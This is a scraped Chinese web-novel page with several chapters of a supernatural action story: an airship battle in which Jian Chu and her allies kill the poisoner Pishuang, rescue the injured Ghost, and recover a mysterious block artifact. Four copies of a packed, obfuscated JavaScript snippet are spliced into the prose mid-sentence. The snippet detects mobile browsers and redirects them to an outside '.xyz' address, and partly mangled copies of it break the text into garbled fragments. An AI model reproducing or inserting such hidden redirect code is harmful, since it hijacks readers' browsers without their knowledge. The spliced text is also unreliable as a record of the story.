d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921605|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>简初的大脑在一片迷蒙中飞速转动，一片绿莹莹的视野里，砒霜举起手臂的动作尤为明显，对方的动作柔软缓和，如同慢动作播放一样，黑色花朵流水般从她指尖倾泻而出。 触手们拱卫着简初，将她带离原来的位置，同时挥舞着打乱空中飘飞的花朵，但下一秒，剧烈的疼痛伴随着触手的尖啸穿透了简初的大脑。 一块块斑驳的伤痕出现在触手的肢体上，甚至还能看出宛如花瓣的外形，接触之间致命的毒药带来了腐蚀，和直达灵魂的剧痛。 “唔！” 马瑞安紧紧捂住耳朵，但刺耳的尖啸声穿透力十足，几乎要把他的脑浆搅匀。 灵魂深处的疼痛缓慢凌迟着简初的神经，她白着脸打量对面的砒霜，触手从对方白皙的脚踝蜿蜒而上，直到触及大腿上的花朵，才猛地往后缩了一下。 果然，这人身上的花也带毒。 麻烦了。 能对抗这黑雾的只有小触手，但现在从方才庞大的黑雾体积看来，它们对砒霜的加强要更加夸张，虽然砒霜的也能在其中也发挥了重要作用，但不论如何，当前的结果就是她无法驱使小触手直接接触对方。 一旦正面交战，不过是伤敌一千，自损八百。 砒霜对这样的情况却是一副早有预料的模样，她微微捂住嘴，眼角眉梢都是笑意，不过在那朵黑花的映衬下，却多了几分邪肆。 “果然……还差得远啊。” 两人之间的来往没有逃过顾杰羽的眼睛，她不禁会想起当初在怀阴山第一次见到砒霜的时候，那应当是她第一次接受“浸染”，明明当时只是一个普通成员，却已经流露出慑人的野心与残忍。 “我们得帮帮她。” “什么？”隋辩以为自己没听清，下意识将头侧向她。 “我们得……帮简初。”顾杰羽果决道。 隋辩张了张嘴：“我们……帮她？开玩笑吗？我们怎么帮得了她？” “别忘了加入异能署时的作战守则，一切以保护……” “保护普通民众的生命安全为优先，我知道！但现在她不是普通民众，我们也打不过那个黑化的砒霜！”隋辩有些抓狂，他并不是贪生怕死，但这样的情况下贸然动手无异于自寻死路。 “宴会厅里还有二十几个幸存者，哪怕事情已经到了这种地步，我们也不能什么也不做。”顾杰羽低声，似乎陷入了某种回忆的梦魇，“做不到是一回事，但做不做，又是另一回事。” 她的语气不光是对当下形势的忧虑，隐藏其中的还有一丝丝难以被人察觉的悔意。 “……”隋辩咬牙，抬起头却和马瑞安的眼神碰在一起，对方冲他打了个手势，含义与顾杰羽的话不谋而合。 “……我们该怎么做？”他说着，手上同时打着手势。 作为回应，马瑞安指了指他，准确的说，是指了指他身边的顾杰羽，脑中飞闪而过的灵光让隋辩的手控制不住开始哆嗦。 “把我送过去。”顾杰羽仰起头，注视着对峙的两人。 “想个办法，把我送到简初的身边去。” 166. 无人区（68） 顾杰羽的异能在此时堪称无可替代，她曾经无数次想过，如果自己的异能更具有杀伤力，那一切会不会不同，但现在，她却又无比庆幸自己能拥有这样的能力。 “简初现在还清醒吗？万一你被攻击怎么办？”隋辩十分焦虑，甚至看上去要比顾杰羽本人担忧得多，“更何况砒霜不可能眼睁睁看着，她知道你的异能，而你的异能没办法抵抗。” “她应该是清醒的。”马瑞安已经来到两人身边商讨计划的可行性，“只能让她主动把你拉过去，但就像隋辩说的，一旦你暴露在她们的视野里，砒霜一定会动手。” 他沉思片刻，谨慎开口：“我和隋辩从后方发起攻击，为你争取一点时间，但……砒霜的行动属于计划中的变数，我们无法估计，甚至我更倾向于她会无视我们，一心击杀你。” “我知道。”顾杰羽点了点头，脸上丝毫看不见犹豫，反倒是透出异样的平静。 那是看透一切的、无惧生死的平静，甚至这样的境况反而让她得到了暂时的平静。马瑞安读懂了她的意思，张了张嘴，却没能说出什么来。 正当此时，不远处的后方传来一道细若蚊蝇的气音。 “我……可以……帮忙……” 仅仅几个字就几乎耗光他全部的力气，胸腔传来“呼啦呼啦”的喘息，总有种下一秒就会突然卡住的错觉。 幽灵艰难地仰着脑袋，确保平躺的自己可以看到他们：“麻烦帮个忙……扶我……坐起来……” “……”隋辩下意识皱起眉头，却未曾想一旁的马瑞安竟毫不犹豫上前，用生平最轻柔的力气，将那人扶坐而起。 大概连幽灵自己也没想到，根本没有多费口舌，就让对方伸出了援手。 “谢谢……”他几乎每说一个字都要喘口气，西裤被鲜血濡湿，散发出浓烈的血腥气。 马瑞安打量了他惨白的脸色，眉头依旧紧锁：“你确定可以？” 就现在这副模样，真的还能使用异能吗？ “没关系，我已经习惯了玩具商的折磨，这点疼痛对我来说完全不是问题。”不管这话是不是为了宽慰他们，但血液的流失却是真实的，再怎么能忍痛，也不代表痛苦就不存在。 可现在他们确实需要幽灵的帮助，甚至他的异能会扮演极度重要的一环。 “那拜托你了。”马瑞安低声道，他从未想到有一天会和对方合作，但既然已经决定，就不该再浪费时间。 不远处一人高悬天上，而另一人站在甲板之上，却一直没有人动手。她们都在估量对方的实力，试图以最小的代价获取最后的胜利，只不过这样的胜利对简初来说需要更多的思考。 她承受不起更多的黑雾侵蚀了。 “唔！” 眼前虚晃一下，一道黑影骤然贴近，简初猛地侧身，借着触手们的承托后撤远离，这才看清是来人。 层层叠叠的黑色花朵托着砒霜的双脚，让她踏空而行，直直冲到自己眼前。 “这种时候还能走神？”砒霜冷哼一声，反手抓出一条黑花织就的长鞭，如同灵活的游蛇窜了过来。 简初眉头紧皱，驱使着触手准确击中对方裸露的手腕，打偏了鞭子的方向。 也许是黑雾力量有限，凝结成的黑色花朵只能护住砒霜的躯干，以及部分手臂和大腿，也幸好如此，才给了简初一点机会。 小触手试图直接拧断砒霜的手腕，但对方反应也同样灵敏，直接换手将长鞭甩了过来，尝试直接缠绕住触手的肢体。 简初微微皱眉，下一秒触手颇有不甘地松开，回到了她身边。 “嗤——”对面的女人咧咧嘴，洁白的牙齿在黑色的映衬下显得森然。她不再说话，只是控制着长鞭不断袭来，行动间飘洒的黑色花瓣落在地上，将甲板腐蚀出一个个肉眼可见的小坑。 两道黑影瞬间纠缠在一起，下一秒又迅速分开，如此反复。简初的大脑中偶尔会传来灵魂被灼烫的疼痛，而对面的砒霜同样不能幸免于难，只是对她来说，任何伤害都不会带来实质性的痛苦。 她的意志不会被疼痛磨损——她和玩具商一样，无法清晰感知到自己身上的伤。可感知不到并不代表不存在，伤势会缓慢消耗她的身体机能，直到再也无法战斗。 但这对于简初来说并不容易，因为她到现在都无法下定决心杀死对方。 “你在躲着我？”砒霜发出令人不爽的嬉笑，“为什么呢？” 简初沉着脸躲开对方的袭击，并不打算回答她的问题，光是和脑中的声音做抵抗就已经消耗了自己不少精力，更何况，如果能让对方误会自己已经陷入疲惫，那也是再好不过了。 但这样的代价是砒霜的攻势变得更加猛烈，似乎想趁机一举夺走简初的生命。 黑色花朵开始飘散出淡淡的雾气，简初不慎吸入一缕，下一秒眼前的画面便出现了明显的扭曲。 原本的视野就已经被绿光渲染得光怪陆离，现在更是出现至少三个交叠的轮廓，人影行动间带着冗长的残影，让人几欲作呕。 “简初！！！” 侧方突然传来嘹亮的喊声带，强大的穿透力瞬间击溃了刚刚出现的幻觉，简初精神一振，余光瞥向角落的人影。 “带她过去，她能帮你！” 就在马瑞安开口的瞬间，顾杰羽直接义无反顾地冲了过来。耳畔的风“呼呼”刮过，周围的所有都化作一片虚无，她眼中只能看到半空中被触手们环绕的身影。 顾杰羽承认自己有赌的成分，但是她现在没有犹豫的资格。 她早就没有犹豫的资格了。 “哈！不自量力！”砒霜气笑了。她当然记得这个女人，不管是当年在怀阴山，还是这次在飞艇，都屡次坏她好事，最重要的是对方的异能……绝对不能让她活着。 原本飞向简初的鞭子在空中拐了个弯，硬生生追着顾杰羽的背影而去，可就在即将触碰到的瞬间，一道蓝色的光束从远方激射而来，长鞭被瞬间击碎，花瓣簌簌落了一地。 粗壮的触手趁机介入，一把捆住奔跑中的人影，将她提上了半空。 “呕！”顾杰羽眼冒金星，才堪堪被触手吊在了简初身边。 “你要做什么？” 那双青绿色的眼睛看得顾杰羽头皮发麻，配上简初此刻明显苍白的脸，颇有几分地狱恶鬼的慑人之气。 但至少人还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932274|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是清醒的。 顾杰羽微微松了口气，挣扎着把手放在了简初头顶。 简初：…… “抱歉！”顾杰羽睁大眼，迅速转移位置，握住了对方的肩，“我的异能可以帮你。” 说话间，灿烂的银光倾泻而出，将两个人照得透亮，就连黑黢黢的触手们都沾染上一层莫名的圣光，看上去不再像之前那样可怖。 “成功了！”隋辩握紧拳头，长出了一口气。 汹涌的能量在简初的每一根血管中奔流，小触手们也仿佛获得了新鲜的养分，带着蓬勃的斗志面向另一边的敌人。 “该死。”砒霜咒骂着，仰头看向上空紧紧相依的两个人影，“你以为这样就行了？不过是多送我一条命。” 简初呲了呲牙：“那你试试？” 话音未落，黑色触手拖着银光，在空中织就精密的牢笼，在砒霜的身上留下更多的伤口。 “哈哈哈！也就这点本事！”砒霜擦掉脸颊的鲜血，两手一扬就出现一面几乎没有缝隙的花墙，迅速朝简初压去。 “呃！” 下一秒，两道剑光左右交叉，直接切向砒霜的脖颈，砒霜感受到寒意，颇有些狼狈地躲过，回头咬牙挥出一串黑花。 蓝光闪过，花朵在距离隋辩近在咫尺的位置尽数消散，他这才发现自己的后背已经布满了冷汗。 “谢谢！” 幽灵只是半睁着眼摇摇头，大脑中的意识不断诱惑他闭上眼，闭上眼就不痛了，但他仍然倔强地注视天空中的人影，甚至连眼泪流下都不敢眨眼。 他怕自己一眨眼，就再也睁不开了。 可这么一来一回，对顾杰羽的异能消耗却是巨大，银光保护着触手们暂时不受到毒花的伤害，但所有的融蚀全都由她来承担。 顾杰羽咬紧牙关，面露力竭之相：“你为什么不杀她，一直这样我坚持不下去。” 简初摇摇头：“我没办法动手，杀了她，那黑雾的下一个目标就是我了。” 她没有，也不能将一切和盘托出，不过某种程度上，这说法也不算错。 倘若她亲手杀死了砒霜，得到对方异能的同时，那团更加强大的黑雾将会顺理成章入侵，这一次，她必定会掉进这精心编制的陷阱之中。 对方逼她不得不跳，她怎么能遂了他的意。 简初的大脑飞速转动：“我会尽快消耗她，最后……需要你杀了她，可以做到吗？” 轻轻的呢喃在耳边隆隆作响，两人被触手紧紧捆绑在一起，银光忽明忽暗，似乎昭示着顾杰羽此时并不平静的心绪。 “我不知道……”她看着小触手递过来的、刚刚被折断的金属栏杆，手臂重若千钧。 简初尽量让自己看上去更“和善”：“抱歉，现在没有更合适的武器，但它很锐利，应该足够了。” 她的语气没有任何催促之意，但却让顾杰羽打了个激灵，猛地握住了它。 “我可以的，我早该……” 从后背紧贴的位置，简初可以感受到顾杰羽砰砰作响的心跳声，速度很快，每一次跳动都似乎带着结束一切的迫切渴望。 我早该如此。顾杰羽心想。 167. 无人区（69） 胸口有什么在鼓动着，顾杰羽握紧了掌心的武器，仿佛下定了决心。 “我明白了。” 简初感受到她紧紧扣住自己的肩膀，一点寒光从右后方猛然伸出，就好像那并不是一根粗糙的金属管，而是一柄绝世的长枪。 “来吧。” 话音刚落，十数根触手拔地而起，交织着从砒霜的身侧飞过，它们谨慎地避开黑雾和毒花，在砒霜裸露的皮肤上留下一道道细微的擦伤。 “嗤。”砒霜不愿多说，这点擦伤对她来说完全可以忽略不计，不过身后的那几个小苍蝇还是烦人得很。 雪亮的剑光沿着她的脸颊擦过，毒花见缝插针的缠绕上剑身，但当它们将剑碾碎时，砒霜脸上已经出现一道深刻的血痕，里面的皮肉翻出来，血液濡湿了黑色的花朵。 碎掉的剑不过是消耗了隋辩的异能，并不会影响他本人，他与异能之间并没有简初和触手那样紧密的联系。 “该死的。”砒霜伸手摸了摸伤口，内心涌起难耐的怒火，她反手一挥，数道黑雾钻进甲板，从三个不同的方向飞速涌向隋辩。 在临近他的时候，黑雾各自分散，拖着一路盛开的毒花，分别向三人而去，幽灵咽下口中的血腥气，努力抬手，一道蓝光眨眼击碎了朝他而来的攻击。 砒霜冷哼：“我倒看看你们还能坚持多久。” 话音未落，她后背一阵发凉，猛然回头却对上一张平静无波的脸。 “你的对手是我。”一串耀眼的火光掩盖了简初的面容，花朵在灼烧下并没有枯萎，只是微微收缩，看上去像在保护自己。 砒霜下意识抬手挡在眼前，一丛毒花挡在她正前方，挡住了大部分的热量，只有一小簇火苗窜过来点燃了她的发梢，她借机后撤，迅速扑灭了身上的火星子。 “她身上被花朵覆盖的面积变小了。”顾杰羽在简初耳边小声说，“应该是异能被消耗了。” 火舌舔舐着花墙，花朵们终于枯萎，掉落在地变成蚀骨的灰烬，而隋辩和马瑞安也各自躲开了黑雾的追击，但他们此时的站位却发生了巨大的变化——三个人各自分开，离得不近。 比起简初，某个曾经的同僚此刻反而是砒霜的眼中钉、肉中刺。幽灵的异能太过bug，虽然不能直接造成伤害，却能化解她的攻击，还能为其他人争取时间和空间。 “不好，她要杀幽灵！”丰富的作战经验让马瑞安立刻捕捉到砒霜的动态，那串黑花刚刚脱手，他就立刻警觉，但即便如此，他们的速度却根本赶不上那两道毒花的轨迹，只能眼睁睁看着它们扑向那个几乎无法移动的身影。 现在他还不能死，他们需要他，尽管有求于曾经的敌人并不是一件光彩的事情，但…… “砰！” 一阵巨响，天空中的黑影像一颗炮弹，眨眼间扎进了砒霜所在的位置，触手闪电般射出，将甲板上的幽灵直接捞了起来。 “我说了，你的对手是我。” 简初一字一顿，白着脸忍受来自灵魂的灼痛，卡在砒霜脖子上的触手迟迟不愿松开，哪怕肢体上已经被层层叠叠的毒花腐蚀掉了一层皮肉。 颈骨已经错位，但是砒霜感受不到任何疼痛，只有窒息感在侵吞她的意识。 “你们什么时候搭上的？你竟然这么……看重他。”砒霜挣扎着露出一点笑意，意料之中感受到脖子上的力慢慢松懈——那根触手已经被腐蚀得差不多了，而它的主人应该也已经到了忍受的极限。 “你杀不了我。”砒霜笑得笃定，看得人心头火起，“你也不敢杀我。” 简初勾起唇角：“你试试，看我究竟能不能杀你。” 触手将幽灵放在马瑞安身边，剧烈的颠簸让他的伤口更加疼痛，甚至膝盖处已经能看见一点白色的骨碴，但幽灵仍然紧咬嘴唇，哪怕眼神已经迷离，还是依旧在努力保持清醒。 “你先别睡！”马瑞安拍了拍他的脸。 幽灵微不可察地点头：“我……知道……” 另一边已经顾不得他们，顾杰羽几乎是半揽着简初，成为对方第二根右臂，方才的重击让飞艇更加摇摇欲坠，而在她们的头顶，正有一段尖锐的横梁随着飞艇缓慢摇摆。 “膝盖！”顾杰羽的声音混着碎块坠落的声响传来，几乎在她开口的瞬间，一根粗壮的触手沿着砒霜身上花朵退却的轨迹，缠住了她的膝盖。 然后猛地收紧。 膝盖骨发出“咯吱咯吱”的细微爆裂声，小腿与大腿之间眨眼间错开，甚至向反方向折出一个令人心惊的角度。 尽管感受不到疼痛，但这样的伤势已经开始影响砒霜行动的灵活性，此时的毒花只能蜷缩在她的重要部位，保护她不会被突然砍掉脑袋或者是从中劈开。 枯萎的花朵将脚下的甲板腐蚀出密密麻麻的孔洞，有几根触手同样不能幸免。顾杰羽满怀忧心，从她的距离来看，简初的脸色不仅仅是惨白，其中甚至夹杂着一点青灰色的死气，只有那双眼睛散发着荧荧的光，仍然迫人。 “到此为止了。” 砒霜仰躺在地上，瞳孔深处映照着头顶的光景——触手们卷起倒塌墙壁里裸露的、摇摇欲坠的金属横梁，随着肢体的全力收缩，金属架发出哀鸣，在她眼中骤然放大，直到眼前只剩下黑暗。 顾杰羽从触手群中暴起，手中那根尖锐的镀锌钢管沿着一个相当刁钻的角度向前猛地刺去，金属被融蚀的“滋滋”声响彻天际，她咬紧牙关，仍然用力向前。 没有后退的余地了。 马瑞安的异能虚虚地笼罩在砒霜头顶，防止她意外逃离，而一道蓝光却如同天降甘霖，准确地落在了砒霜的颈部，也就是钢管的落点。 “噗。” 毒花散开，钢管的贯穿声轻得如同扎破了轮胎，砒霜的脸已经被压在一片建筑废料的下方，但她的手却突然在空中定格，所有毒花停止摇摆，紧接着接连发出“噗噗”的爆裂声。 “呃啊！”顾杰羽咬牙，松开揽住简初的手，托住了钢管的末端，就这么横着拉开了砒霜的半根脖子。 黑雾从砒霜的身体升腾而起，简初屏住呼吸，看着它在空中转了一圈，最终悻悻飞回了那道裂缝。 结束……了。 简初用力闭了闭眼，接住顾杰羽软倒的身体，将她小心放在了地上。 “她怎么了？！”隋辩感觉自己说话的时候牙齿都在打架。 简初摇摇头：“异能消耗过度，晕过去了。” 隋辩猛地松了口气：“没事就好！” 黑黢黢的触手们慢慢回到她的身体里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950979|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根部那道窄窄的金光此刻更是黯淡到肉眼几乎看不清。 但不知道为什么，简初觉得它很重要。 “你眼睛……变回去了。”马瑞安走过来，看着隋辩把顾杰羽安置好，才犹豫着开口，“你看上去不是很好。” “还行。”简初侧头看着一旁的顾杰羽，“还有人活着吗？” 马瑞安一时语塞：“之前宴会厅的那些人还活着，我粗略看了一眼大概二十来个人，隋辩！你去看看他们！” 简初沉默地注视着隋辩的背影，又抬头看看天空。 “他走了。” 马瑞安皱眉：“谁？” 没有回答他的问题，简初颇有些狼狈地原地坐下，重重叹了口气：“带香烟了没？” “什么，你想来一根？”马瑞安从兜里掏出一盒皱皱巴巴的香烟，手指的血迹粘在上面，把商标都涂得花花绿绿。 简初看了两眼，伸手从中抽了一根。 “真抽啊？”他看着简初搓搓手指，就跳出一团火苗点燃了香烟，“真酷，给我也点一点。” 从这一刻开始，他对简初的戒备和恐惧才开始慢慢消退。 “我们得想办法离开这里。”马瑞安吸了一口烟，扭头才看见简初捏着烟发呆，刚想再说什么，就看见她恶狠狠地把烟屁股塞嘴里，嘬了一口，然后发出剧烈的咳嗽。 “不会抽啊你，浪费一根烟，我这盒可贵了，要不是来这鬼地方我都舍不得买。”马瑞安很是心疼。 “等着就好了。”简初选择性回答了他的问题，顺手直接把烟掐灭，扬手扔了出去，香烟在空中划了一道弧线，落在不远处的栏杆外，又被风吹了回来。 两人一时都没人说话。 “顾杰羽以前也是你们的人？”简初问。 马瑞安回答得含含糊糊：“嗯啊，那都是以前的事了，我不方便说，你想知道就自己问她。” 话音刚落，周围的暗青色天空开始慢慢消退，深蓝色的夜幕取而代之，随之而来的是直升机的螺旋桨声。 “天空之眼好像也打完了。”简初注视着黑乎乎的塔顶，“有些事，帮我保密成不？” 马瑞安没回答她，简初也不着急。 “不可能完全保密的，不过你那些……”马瑞安在空中挥了挥，“暂时可以。” 对他来说，做出这个决定很难，但莫名就是有一道声音告诉他得这么做。 简初侧头看向身后。 “我会让他们俩都保密的，不过那些客人们……” “他们不会记得。”简初平静道，“普通人不会记得那个空间里发生的一切。” 马瑞安干笑了两声：“呵呵，这样也好……” 直升机的光在破碎的甲板上反复扫射，马瑞安挥挥手吸引了他们的注意。 “我们该走了，准备好了？” 简初没有回答，只是站起身，走向了身后某个被阴影覆盖的角落。 阴影里蜷缩的身影感受到注视，整个人瑟缩了一下，紧接着两只手撑在地上，往前挪了挪，露出沾满血的脸和几乎被折到反方向的腿骨，白色的骨头带着骨膜，从血肉中刺出，他的眼神亮亮的，什么都不说，只是这么看着她。 简初垂眼：“我要带他一起走。” 168. 无人区（70） 马瑞安沉默地看着她的背影，嘴唇动了动，却什么也没说。 一方面，幽灵确实是天选会的成员，但另一方面，今天的战斗他也在其中发挥了极其重要的作用。至于他是不是看在简初的面子上才帮助他们，这件事已经不重要了，事实就是没有幽灵，他们可能都要葬身于此，哪怕是胜利，也得付出极大的代价。 他无声叹了口气，和不远处的隋辩打了个手势，示意他在那边协助救援人员疏散幸存者，才转身弯腰，将昏迷的顾杰羽抱在怀里。 天空中的裂缝仍然没有消失或者缩小的意思，边缘散发出幽幽的青光，看上去瘆人的很。 头顶的直升机隆隆作响，风将简初带血的衣角卷得乱舞。她看见幽灵被风吹得眼睛有些睁不开，两滴眼泪就这么圆溜溜地滚落下来。 也许是风吹的，也许是因为疼痛，但这已经不重要了，他艰难地翻过身，手肘撑在地上不住颤抖，执着地仰起头看向走近的人。 直到简初蹲在他面前。 “现在可以告诉我……我到底是谁吗？” 虚弱的嗓音让简初愣了愣，她没想到对方到现在还执着于这个问题，可她真的没办法解释什么。 幽灵读懂了她的意思，垂下眼露出明显的难过：“哪怕……我快死了……也不可以告诉我吗……” “你不会死的。”简初伸手擦掉他眼皮上的血，盯着那双无比熟悉的漂亮眼睛，“会有点疼。” 幽灵没说话，只是颤抖着伸出手想要抓住她的衣角，却又在看见自己掌心的脏污时缩了回去。 可手腕刚刚垂下，就被人托住了。 简初揽过他，一个用力直接将人横抱起来，小触手偷偷窜出来固定了幽灵的双腿，但行动间的的剧痛还是让他冒出一身冷汗，发出了一声呜咽。他下意识搂紧简初的脖子，把脸埋进了她的颈窝中。 “你……是要带我走吗？”微弱的气音响在简初耳边，混着清浅的气息钻进她的耳朵。 “我们该走了！”马瑞安仰头看着顾杰羽被人接进直升机，转头就冲这边喊，不过声音被风吹得稀碎，传到这里已经剩不下多少。 直到简初抱着人走过来，他才看清幽灵腿上的黑色触手。 “你这样……” “麻烦你帮帮忙，把勾索绑在我身上。”简初侧头小声说，“他的伤很严重，只能这样临时固定，待会我就会撤掉。” 马瑞安点点头，把勾索牢牢绑在她身上：“你还真是……照顾他。” 简初扯扯嘴角，没有回答，而他怀里的幽灵也安静地阖着眼，好像已经失去意识了。 满员的直升机迅速向远处飞去，在他们身后，救援队正竭尽全力，试图让飞艇在蓝湾的郊外安全着陆。 “嗯，我们没什么事，天选会的人都死光了，还有飞艇上……伤亡惨重……” “过程很复杂，回去慢慢说吧。” 简初沉默地看着马瑞安和应术通话，下一秒感觉怀里的幽灵动了动，便下意识拍了拍对方的后背，直到感觉自己的腰被人抱紧，才微微垂下眼。 “怎么了？”平静的声音里充满了耐心，惹得通话中的马瑞安都看了她一眼。 “……疼。”幽灵的声音闷闷的。 马瑞安很机灵地取来急救箱：“他这个太严重了，我包扎不了，你可以吗？” “不会，只是找点止疼药。” 马瑞安尴尬地闭上嘴，默默缩在角落继续和应术通话：“啊，你问谁受伤了，这个……咳咳，是幽灵。” 最后三个字说得极其含糊，简初不着痕迹瞥他一眼，抠出一颗止疼药塞进了幽灵嘴里，又小心给他喂了口水。 “是幽灵！天选会的幽灵！”马瑞安无奈，选择了破罐子破摔。 另一边，蓝湾总队的会议室里，应术看向挂断的通话界面有点茫然。 “怎么样？他们还好吗？”一旁的易骄连忙开口。 “没什么大碍，不过飞艇上的善后是个打困难，但是我总觉得马组长好想有什么没说。”应术眉头微皱，有几分不确定，“不过有个……算是好消息吧。” 一直盯着桌面的宋也抬头看了过来：“什么？” 应术：“他们把幽灵带回来了。” 此言一出，四下皆静。 “是我知道的那个幽灵吗？”易阳咽了咽口水，“他们把他抓到了？” 应术摇头：“比起抓，我更倾向于是他们合作了？因为他声音里明显带着担忧，如果幽灵在的话，那这个东西也许就能解决了。” 所有人的目光随之，投向桌上的积木方块。 …… 十五分钟前，天空之眼某楼层。 易骄伸手摸着墙壁，掌心的光芒缓缓熄灭：“熟悉的气息，和发现张之梁的洗手间里是一样的，是同一个人。” 心中的猜测被确定，应术反而更加忧虑：“我们得快点找到路玺，他现在可能有危……” 下一秒，电话那头的声音戛然而止，紧接着是一串“噼里啪啦”的动静，好像有很多东西在匆忙之间被扫落在地。 “喂？你那边怎么了？”这句话让所有人紧张起来，他们不约而同围了过来，宋也眉头紧皱，示意易骄打开免提。 按键按下的一瞬间，急促的喘息从那头传来。 “……你们快去顶楼！快！！！” 有一阵电流瞬间从尾椎骨攀上头顶，宋也感觉整个大脑陷入空白，双脚下意识迈开步子冲向了电梯，又生生停住。 “温南！用你的异能！” 胳膊上的拉力让温南一惊：“我……要去哪儿？顶楼？” 看见宋也点头，她咬紧牙关，以前所未有的速度锁定了顶楼的坐标，在走廊展开一个大约一人高的空洞。 幸好他们之前去过顶楼，否则自己现在几乎不可能成功定位。 宋也第一时间就钻了进去，下一秒双脚就踏上一块坚实的水泥地，不知来处的绿光将顶楼天台照得阴森森的，仿佛不小心来到了阴曹地府。 “那是……什么？” 身后传来易阳的呢喃，宋也心有所感地抬起头，顺着刚刚消失的绿色光柱，看到了天空中巨大的裂缝。它的边缘散发出莹莹的青光，把不远处的飞艇照得像个粗糙的模型。 直升机隆隆驶近，惨白的探照灯把顶楼照得如同白昼，也把那一群人影瞬间抓了出来。宋也眯着眼，在一群黑衣人里捕捉到一张熟悉的、格格不入的面孔。 盛余海竟然在这里，那路玺呢？ 黑衣人中为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959323|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首的女性同时看见了他们，但她没有露出丝毫惊慌，反而带着一点志得意满：“异能署？你们才来啊。” 白偌抛接着手里的积木方块，衣摆在狂风中舞动：“这么多人，想抓我吗？” “她手上的积木，有异能的气息。”易骄低声说，周围巨大的噪音将她的声音撕碎，但还是勉强传到了宋也的耳朵里。 一旁的盛余海瑟瑟发抖，他再怎么愚蠢，也意识到面前这群人根本不是普通的警察，异能署……也就是说他们都有超能力吗？ 白偌一眼就看出这棵墙头草在想什么，不过对她来说，这个人一点都不重要，留到现在不过是还有点剩余价值。 “你们来晚了。”她抬头看向天空中的裂缝，“可惜，真想见见祂啊……” 最后那句话轻得几乎听不清，宋也只能勉强看见她的嘴在动，不过她不想在无谓的事情上浪费时间，手一招，身后几人便迅速接近那群黑衣人，直升机上的人见状，也纷纷跃下，稳稳落在天台，直接包围了对面。 白偌微笑着扬起手，一块巨大的积木瞬间出现在盛余海的身后，猛地将他撞进了手中。 她掐住盛余海的脖子，身后的黑衣人们忙碌着，一道巨大的拱门缓缓张开，看上去大小和温南建造的空洞差不多。 “你们再动我就捏死他。” 盛余海的脸色迅速变得青紫，口中发出“赫赫”的喘息声，他大概做梦也想不到自己竟然会变成人质。 这人……果然是骗子。 白偌满意地看到这群人猛然停顿，脚下则是迅速往后退了几步，一个呼吸之间就来到了拱门面前。黑衣人们乖乖围绕着她，没有人敢抢先离开，只能眼巴巴看着。 除了这道拱门，他们无处可逃。 白偌的笑容扩大：“各位，再……”见。 话还没说完，她突然听见一道破空声，黑夜中有什么看不见的东西正在飞速接近她，让人后背攀上一阵刺骨的凉意。 白偌瞬间把手中的盛余海转了个方向，试图用他来抵挡来自背后的攻击，但那东西似乎长了眼睛一样，完美从盛余海头顶掠过。 “该死的。”她猛然把人甩开，侧身试图直接钻入拱门。 下一秒，白偌的手腕传来剧痛，掌心的积木方块瞬间脱手，在地上“叮铃哐啷”翻滚了一圈，落在距离她两米多的位置。 “呃！” 她紧紧捂住手腕，鲜血从指缝中缓慢流出，猛然抬头看向对面的宋也——尽管不知道这女人叫什么名字，但对方指间的黑色弧线昭示着刚刚的攻击究竟来自于谁。 是她自己大意了，但是…… 白偌的视线落在双方中央空地上的积木，咬紧牙关下定决心。 “我们走！” 她放弃了它，转身隐没在拱门中，但她身后的黑衣人们就没那么幸运了。异能署的所有人一拥而上，直接摁倒好几个，甚至连异能都还没来得及使用，就给这几个人套上了控制颈环。 拱门迅速消失，没有给他们追击的机会。 “看来有人在控制。”宋也眉头紧蹙，一旁的易骄匆匆跑上前，捡起了地上的积木。 “就是这个气息，空间系异能……路玺会在里面吗？”她喃喃道，“但该怎么解开它呢？” 169. 无人区（71） 蓝湾中心医院。 卡维纳宫殿发生如此严重的航行事故，整个蓝湾都彻夜难眠，中心医院一整层都在忙着抢救伤者，进出口更是有专人把守。 简初安静地坐在抢救室门口的长椅上，身边几人或坐或立，都安静得很。不远处，有人正和应术说着什么，眼神时不时看过来。 “幽灵身份特殊，我们得给他上控制颈环，而且飞艇上的事……” “我知道，但现在不是说这些的时候。” 